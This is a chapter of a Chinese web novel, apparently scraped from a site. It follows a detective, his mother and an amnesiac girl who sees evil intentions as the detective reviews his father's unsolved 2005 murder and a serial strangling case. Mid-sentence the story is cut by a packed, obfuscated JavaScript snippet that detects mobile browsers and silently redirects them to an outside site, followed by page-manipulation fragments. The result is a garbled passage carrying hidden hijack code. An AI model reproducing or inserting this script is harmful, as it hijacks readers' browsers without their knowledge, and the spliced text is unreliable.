崔芳华本身就喜欢孩子。
她虽是农村出身,却比同龄人晚婚,二十六岁才生下贺黎筠,如今也不过五十四岁。
老家那些姐妹,这个年纪早就当上了奶奶,孙子孙女都能打酱油了。起初她也不急,觉得城里人都晚婚晚育,孩子该有自己的发展。
可一转眼,儿子都二十九了!
整天就知道查案查案,好不容易局里领导介绍了一个相亲对象,结果就为了蹲个嫌疑人,把人家小姑娘晾在咖啡厅两小时,气得小姑娘直接拉黑了他。
以至于现在,连个女朋友都没有,可把她愁坏了!
虽说现在才二十九,可虚岁已经三十了!都是个奔四的人了!
放到相亲市场,都不会有人相信,这个年纪的男人还是个连女孩子的手都没牵过的处!指不定觉得她儿子是不是某方面有问题才这么大年纪还是个母胎单身……
崔芳华那个愁呀……所以刚刚看到玄关处那双女鞋时,她满脑子都是“二子终于开窍了”的狂喜,以至于完全没仔细看,这小皮鞋的尺寸,一看就是双童鞋。
而听完小姑娘的遭遇后,崔芳华心头一酸,心疼瞬间漫过了失望。
被杀人犯逃亡中绑架,受惊吓失去记忆,这个遭了大罪的苦命娃,竟至今都没有父母来寻她,不是被拐卖的留守儿童,就是父母双亡的孤儿……
种种猜测在心头翻涌,最终化作喉间一声叹息。
崔芳华不禁伸手,轻轻抚上了小姑娘的发顶。
小姑娘非但没有躲闪,反而像只亲人的小猫般,主动将脑袋往她掌心蹭了蹭。细软的发丝滑过指缝,带着孩童特有的温暖触感。
这下意识的亲昵动作,让崔芳华再度鼻尖发酸。
她忍不住又摸了摸她的小脸,捏了捏她的小手。
这孩子长得跟童模似的漂亮,就是太瘦了,小脸还没她巴掌大,脸色也过于苍白了,一看就是营养不良的样子。
而她太乖了,失忆的情况竟还不哭不闹,懂事得让人心头发紧。不过现在既然暂住在她儿子家,可得要好好养养了。
温热粗糙的触感让薛宓睫毛轻颤。
她本是认出她是贺黎筠的母亲,为了避免不必要的麻烦才刻意讨好的,可对方眼中流淌的怜爱却烫得她心口发胀。
自有意识以来,从没有人用这种眼神看过她。
她低头望向推到她面前的一碗粥。
住院那七天,每天早晨都是一碗寡淡的白粥,稀得能照见人影,喝得薛宓都对粥抗拒了……
可眼前这碗八宝粥,藕色的粥汤浓稠莹润,缀着赤豆、蜜枣、莲子、花生、桂圆肉等,五彩缤纷地沉浮其间,蒸腾着甜暖的热气。
薛宓小心地舀了一勺。
桂花蜜的甜香在舌尖炸开,晶莹的藕粉裹着熬得绵密的赤豆,红枣的蜜甜间偶尔咬到脆生生的莲子芯。
暖和的粥汤顺滑进胃里,薛宓第一次吃到这么好吃的东西。
还有那裹在荷叶里的糯米鸡。
糯米蒸得晶莹剔透,一口咬下立刻爆出鲜美的肉汁和流油的咸蛋黄……
薛宓正默默埋头苦吃时,洗漱完的贺黎筠走了过来,崔芳华连忙盛了碗热粥递过去,直到递碗的时候才猛地僵住。
“你这手……”她反应过来,着急地问,“是救这孩子伤的吗?医生怎么说,严重吗?”
“小伤。”贺黎筠含糊地应着,但在崔芳华瞬间红了的目光下,还是低头老老实实地交代了自己住院七天的事情。
果然就听到妈妈声音发颤道:“住院七天都不告诉妈?要不是我今天过来,是不是打算瞒我一辈子了?”
“没有,妈。”贺黎筠下意识将受伤的手往身后藏了藏,“就是怕你担心才没说。本来打算昨天回家的……”
他舀了一勺粥,热气氤氲中继续道:“但坐公交时,发现有人携带汽油上车,幸好及时拦截。后来押送回局里做笔录,折腾到半夜就没回去了。”
崔芳华倒抽一口冷气:“这人疯了吧!他是想拉着全车人陪葬吗?”
“嗯。”贺黎筠眼神微冷,“被抓后还谎称有精神病。”
“幸亏你没事……”崔芳华后怕地拍了拍胸口,声音有些发颤。
“嗯,我没事,妈。”贺黎筠轻轻道。
薛宓偷听着两人的对话。
蒸腾的热气模糊了视线,混着浓郁的香,令她的心口奇怪泛起了一丝陌生的感觉。
崔芳华离开后,贺黎筠将一沓泛黄的档案推到薛宓面前。
盯着密密麻麻的笔录和现场照片,薛宓眉头越皱越紧。半晌,她抬起头,理直气壮道:“看不懂,你总结下。”
她说着,盘腿坐上了沙发,还顺手捞过茶几上的糯米糕咬了一口,活像个等着听故事的小祖宗。
贺黎筠:“……”
“我爸贺临川,十五年前是青江市公安局刑侦支队副支队长兼重案队队长,也是连环杀人案专案组组长。”贺黎筠翻开档案,指腹在一张陈旧的照片上停顿,“2005年,他被发现死在废弃工厂,一枪毙命。这是当时的现场图。”
薛宓凑近看那张泛黄的照片,斑驳的水泥地上,身穿藏蓝警服的男人仰面躺着,暗红色的血迹自胸口晕染而开,照片边缘还拍到半截粉笔轮廓线,是标记弹壳位置用的。
“官方结论是□□仇杀,一个月便抓到了凶手。但那个凶手在认罪时连开枪方向和距离都说不清,不到三日就在看守所自杀了。”
薛宓挑眉:“你认为这个人是替罪羊,想要找到这个□□的幕后真凶?”
贺黎筠摇了摇头:“我以前也是这么认为的。那个凶手认罪时,并没有说自己是哪个□□的人。根据调查,我查出他原本隶属于黑虎帮,便顺着线索追了黑虎帮五年,直到去年亲手逮住他们老大。他却在审讯室里赌咒发誓,说他们确实计划过暗杀我爸,但还没来得及动手,我爸就被人抢先一步杀了。”
他眼神一沉:“那个认罪的替死鬼,曾经的确是他们的人,但只是个底层的小马仔。后来犯了事,就被赶出了黑虎帮。□□上,能干掉公安机关正科级领导是光荣事迹。所以得知被赶出去的马仔竟在不久后杀了刑警被捕,而道上都说是他们黑虎帮干的时,他们也就默认了,还因此壮大了势力。”
虽然贺黎筠详细地解释了每一个她听不懂的词汇,可听完整个案件,薛宓仍觉得有些匪夷所思。
她奇怪地问道:“副支队长被□□所杀,应该是深仇大恨吧?为什么他同事和下属没有继续调查凶手所属的□□,还要等到你才查出他原本隶属于黑虎帮,却还是个错误的信息。”
“当年枪击案发生后,局里火速成立了专案组,全城搜捕凶手,甚至还开展了一场为期一个月的扫黑专项行动。阵势很大,动静也不小……可最后,却只抓到一个所谓的凶手,案件就匆匆结了案。”
他声音低沉,带着一丝不易察觉的涩意。
“所以,我不是没有怀疑过……局里内部,是不是早就被人渗透了,有了他们的保护伞,才会这么急着盖棺定论,把真相捂死在里面。”
“可我爸当刑警队长那些年,秉公执法,得罪的人太多了。□□白道,想让他消失的人,两只手都数不过来。我花了整整五年,像疯了一样死磕黑虎帮,几乎把他们的底裤都翻出来了……可线索,到头来还是断了。”
空气凝滞了片刻,窗外的夜色仿佛也沉了几分。贺黎筠忽然抬起眼凝望着薛宓,声音里压着冰凉的急切:“你能看见人身上的恶念,或许能帮我揪出局里的内鬼。昨天在局里,你有没有注意到谁身上有不寻常的黑雾?”
“黑色的恶念要真正动了杀心才会具现化,你那几个年轻同事倒是挺干净,其他人还得再观察观察。”
薛宓歪着头想了想:“比如,昨天那个纵火犯被抓时,周围人散发的就是棕色的气息,这种是讨厌憎恶的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472514|185545||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
气息,还包含着希望这种伪装精神病的杀人犯直接去死的真心。所以我想,你们警察抓人时也会产生类似的波动,不能单单地看颜色来分辨。”
“那我身上呢……”贺黎筠突然轻声问道,“有吗?是……什么颜色……”
“有,就在刚刚,溢出来了一点点。有灰黑色,也有棕色……你想亲手杀了那个凶手报仇,对吧?但是,你的职业不允许你手刃仇人,所以你的理智把它压下去了,那些颜色刚一冒头就散了。”
贺黎筠抿了抿干涩的唇:“看来在你面前,谁都藏不住邪念。”
“也不尽然。”薛宓晃了晃悬空的小腿,“真正可怕的,是那些连自己都骗过了的恶念。为了净化世界而杀人的审判者,打着‘为民除害''旗号动用私刑的执法者。这些恶念会伪装成正义,扎根在心底最深处……哪怕手上沾满鲜血,他们身上也不会浮现半点黑雾。”
贺黎筠却觉得,以前没有监控、没有指纹、没有DNA鉴定,才导致犯罪很难被发现,甚至经常出现冤假错案,但现在法治社会,天网恢恢,他就不信真的有这种完全不被发现、还被包装成正义的完美犯罪。
沉默片刻后,贺黎筠又从书架上拿出了另一本档案。档案的封面已经泛黄,右上角的“青江市连环杀人案”几个打印的黑色字迹也已褪成了淡灰色,边角处满是翻阅留下的皱痕,
“这是我父亲生前调查的最后一个案子。官方记录,凶手的作案时间是从2005年7月到2005年12月,短短五个月。”
薛宓凑近了些,随着档案的翻开,映入眼帘的是里面整齐粘贴的现场照片。
八名年轻女性,年龄在十八到三十五岁之间,多为从事灰色职业的女性。她们被抛弃在城市的各个偏僻角落,脖颈上都缠绕着相似的勒痕,双手被红绳捆绑在身前,摆成虔诚的祈祷姿势。
整齐得令人毛骨悚然。
除此之外,还混入了一名男性流浪汉。
那是一张拍摄于积雪桥洞下的照片。花白胡子的流浪老人蜷缩在角落里,胡须上结着冰碴,脖颈处深紫色的勒痕在苍老的皮肤上显得格外刺眼。
但,与其他受害者不同的是,他的双手并非用红绳捆绑,而是普通的麻绳。而且时间上比第一名女性提早了半年,是2004年12月发生的。
“但在我父亲留下的笔记里,他坚信这个系列案件的真实跨度远不止于此。他认为,这位流浪汉才是整个系列案件中的第一个受害者。但由于性别、作案时间和作案手法的细微差异,当年专案组并没有将他列入连环杀人案的受害者名单。
“是因为绳子不是红色的?”
“嗯。但绳结的打法一模一样。是渔夫结,收尾处会多绕两圈。”
他说着,手指移向一张流浪汉的尸检照片。照片里,老人粗糙的手指布满冻疮和裂口,而右手小指处赫然呈现一个整齐的断口,像是被什么利器干脆利落地切断。
“他死后,凶手特意取走了他的一节手指。”
他翻过几页,指向那些女性受害者的照片:“而之后的每个女性受害者,都少了一件贴身物品——耳环、发卡,或是戒指。这说明凶手有强烈的收集癖,而初次作案对他来说意义特殊。”
“所以我爸认为,凶手在初次作案时,取走的不是物品,而是死者身体的一部分。正因为是临时起意的冲动杀人,凶手就地取材,用流浪汉自己捆铺盖的麻绳下了手。”
“在这次冲动作案后,凶手尝到了杀人的快感,之后就开始有预谋地作案,并特意准备了红绳。至于红绳的特殊意义……可能是某种仪式感,也可能是凶手个人的执念——比如象征束缚、献祭,或者单纯只是他随手选中的标志性手法。”
他顿了顿,轻轻地补充:“这个案子至今未破。所以我也曾想过,会不会是这个连环杀人魔,杀了我爸……但作案手法不同,我爸是被枪杀的,干脆利落,没有那些仪式感的布置。